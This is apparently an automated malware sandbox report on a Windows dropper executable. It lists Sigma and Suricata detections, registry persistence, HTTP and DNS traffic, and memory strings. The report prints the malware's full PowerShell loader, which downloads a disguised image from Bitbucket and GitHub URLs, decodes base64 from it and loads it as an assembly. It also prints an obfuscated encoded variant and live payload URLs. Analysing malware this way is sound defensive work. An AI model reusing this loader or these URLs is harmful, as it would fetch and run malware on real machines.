Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c 123.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2064, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs" , ProcessId: 972, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c 123.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2064, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs" , ProcessId: 972, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\OTO2wVGgkl.exe, ProcessId: 280, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.60op/sdaolnwod/wqtretre/kruremlur/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $t

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: cmd.exe /c 123.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2064, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\IXP000.TMP\123.vbs" , ProcessId: 972, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1012, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Powershell download and load assembly

Source: Process started

Suricata Signatures

ET MALWARE Malicious Base64 Encoded Payload In Image

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T09:33:18.848191+0200	2049038	1	A Network Trojan was detected	185.199.111.133	443	192.168.2.6	49725	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: OTO2wVGgkl.exe

Virustotal: Detection: 21%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Code function: 0_2_00007FF6975A30EC GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,SetCurrentDirectoryA,

0_2_00007FF6975A30EC

Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 16.182.70.97:443 -> 192.168.2.6:49760 version: TLS 1.2

Source: OTO2wVGgkl.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: wextract.pdb source: OTO2wVGgkl.exe
Source:	Binary string: wextract.pdbGCTL source: OTO2wVGgkl.exe

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Code function: 0_2_00007FF6975A204C FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00007FF6975A204C

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2049038 - Severity 1 - ET MALWARE Malicious Base64 Encoded Payload In Image : 185.199.111.133:443 -> 192.168.2.6:49725

Source: global traffic	HTTP traffic detected: GET /santomalo/audit/main/img_test.jpg?14441723 HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rulmerurk/ertertqw/downloads/po06.txt HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /4be491a4-012e-46db-bc28-27fee082b0f0/downloads/74ccc5a3-8670-44b3-9024-14d063289113/po06.txt?response-content-disposition=attachment%3B%20filename%3D%22po06.txt%22&AWSAccessKeyId=ASIA6KOSE3BNNNEIOJI2&Signature=fCrW6YnKz8vmM76pCMU1Lk6%2B0dU%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEND%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCICDb1Ea51gVsaGyPokV768I%2BK7TQ4cMsw7V4s%2FwUh97nAiBfdiFFLnmsdf8uWYy0kPYgU%2BjMX%2FMgGviikn58Zb6gxSqnAggpEAAaDDk4NDUyNTEwMTE0NiIMEI%2Blc%2FDMHYEVRHAGKoQCqgEqCyiV%2B3l1ji%2BADbqxjQAkgbvr1wtWBW6I%2Bw1MhCD7Mxv3%2FnNWt0uV09RjUnN81299oEf01aBbcdjn3LrJzVv26PtJlSKA4XjDjqHgt4WeXq%2F%2F7hJG0lFt4RXCCuJfQAEzhCNvyxwS3W5h8kafeCHdboWlzk8hyBUMfK0fthLTcWdKoCk30MyOhCiCmW%2BRSyT76Oe%2B8IBbx%2BUcOZRFmnl4rOdx52%2BSbzegdvcQ%2Bkh1z8AYQYnRivhT30A68B9NHLHz%2BuOQbnY6gwwwc1%2FyoVHP99bN6P2wqC9yeGkEPPkenaL1k0WzLcky5ZyHMjM09U2H3sUzWWlYKmC9oxgP8RlWKagw%2F5mOuAY6ngFo9w%2BuVBeGNn0os%2F2bZJZ9Z%2BD0%2B8YeClr2VvBYCCC1utxLfr9vLLLpP2dO9iTdu0Tdh13%2B8JebIVXg3As%2BHgx7cfu0QDWzRjYpiFcJf1LqlV%2BkrHMKyohVoC%2FlxeRSvJASoF%2Bt2WTzyQjSIHALhmB2AQEunqbDGWETcZMPjKV6%2B8FCeDi3stulqp5tDCBCbWevSBH5q1izI0RCdA49Bw%3D%3D&Expires=1728287751 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 185.166.143.48 185.166.143.48
Source: Joe Sandbox View	IP Address: 185.199.111.133 185.199.111.133

Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: FASTLYUS FASTLYUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /santomalo/audit/main/img_test.jpg?14441723 HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rulmerurk/ertertqw/downloads/po06.txt HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /4be491a4-012e-46db-bc28-27fee082b0f0/downloads/74ccc5a3-8670-44b3-9024-14d063289113/po06.txt?response-content-disposition=attachment%3B%20filename%3D%22po06.txt%22&AWSAccessKeyId=ASIA6KOSE3BNNNEIOJI2&Signature=fCrW6YnKz8vmM76pCMU1Lk6%2B0dU%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEND%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCICDb1Ea51gVsaGyPokV768I%2BK7TQ4cMsw7V4s%2FwUh97nAiBfdiFFLnmsdf8uWYy0kPYgU%2BjMX%2FMgGviikn58Zb6gxSqnAggpEAAaDDk4NDUyNTEwMTE0NiIMEI%2Blc%2FDMHYEVRHAGKoQCqgEqCyiV%2B3l1ji%2BADbqxjQAkgbvr1wtWBW6I%2Bw1MhCD7Mxv3%2FnNWt0uV09RjUnN81299oEf01aBbcdjn3LrJzVv26PtJlSKA4XjDjqHgt4WeXq%2F%2F7hJG0lFt4RXCCuJfQAEzhCNvyxwS3W5h8kafeCHdboWlzk8hyBUMfK0fthLTcWdKoCk30MyOhCiCmW%2BRSyT76Oe%2B8IBbx%2BUcOZRFmnl4rOdx52%2BSbzegdvcQ%2Bkh1z8AYQYnRivhT30A68B9NHLHz%2BuOQbnY6gwwwc1%2FyoVHP99bN6P2wqC9yeGkEPPkenaL1k0WzLcky5ZyHMjM09U2H3sUzWWlYKmC9oxgP8RlWKagw%2F5mOuAY6ngFo9w%2BuVBeGNn0os%2F2bZJZ9Z%2BD0%2B8YeClr2VvBYCCC1utxLfr9vLLLpP2dO9iTdu0Tdh13%2B8JebIVXg3As%2BHgx7cfu0QDWzRjYpiFcJf1LqlV%2BkrHMKyohVoC%2FlxeRSvJASoF%2Bt2WTzyQjSIHALhmB2AQEunqbDGWETcZMPjKV6%2B8FCeDi3stulqp5tDCBCbWevSBH5q1izI0RCdA49Bw%3D%3D&Expires=1728287751 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa

Source: svchost.exe, 0000000A.00000002.3436851309.0000025084884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000008.00000002.2514235788.0000019449F9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.2340710949.000001943E12B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000006.00000002.2635327490.00000188234E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.0000019439F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.2340710949.000001943E12B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000006.00000002.2635327490.00000188234FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000006.00000002.2635327490.0000018823550000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.0000019439F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000008.00000002.2340710949.000001943E12B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943EC6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943F7BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943F4D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943F794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000008.00000002.2340710949.000001943EC6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943F7BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943F794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: powershell.exe, 00000008.00000002.2340710949.000001943A328000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;
Source: powershell.exe, 00000008.00000002.2340710949.000001943DEED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com
Source: powershell.exe, 00000008.00000002.2340710949.000001943DEED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/4be491a4-012e-46db-bc28-27fee082b0f0/downloads/74ccc5a3-8670-
Source: powershell.exe, 00000008.00000002.2340710949.000001943DEED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org
Source: powershell.exe, 00000006.00000002.2635327490.0000018823A7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2338162714.0000019438316000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2338796491.00000194384F4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943E611000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.0000019439F31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2339496899.0000019439D60000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2338162714.0000019438290000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2338162714.00000194382A5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735
Source: powershell.exe, 00000008.00000002.2340710949.000001943DEED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/rulmerurk/ertertqw/downloads/po06.txt
Source: powershell.exe, 00000008.00000002.2340710949.000001943A328000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: powershell.exe, 00000008.00000002.2514235788.0000019449F9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.2514235788.0000019449F9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.2514235788.0000019449F9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000008.00000002.2340710949.000001943A328000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.2293868995.0000025084720000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000008.00000002.2340710949.000001943EC6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943FB37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000008.00000002.2514235788.0000019449F9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 00000006.00000002.2635327490.0000018823A7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2668705652.000001883BA0A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2338162714.0000019438316000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2338796491.00000194384F4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943E611000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.0000019439F31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2339496899.0000019439D60000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2338162714.0000019438290000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 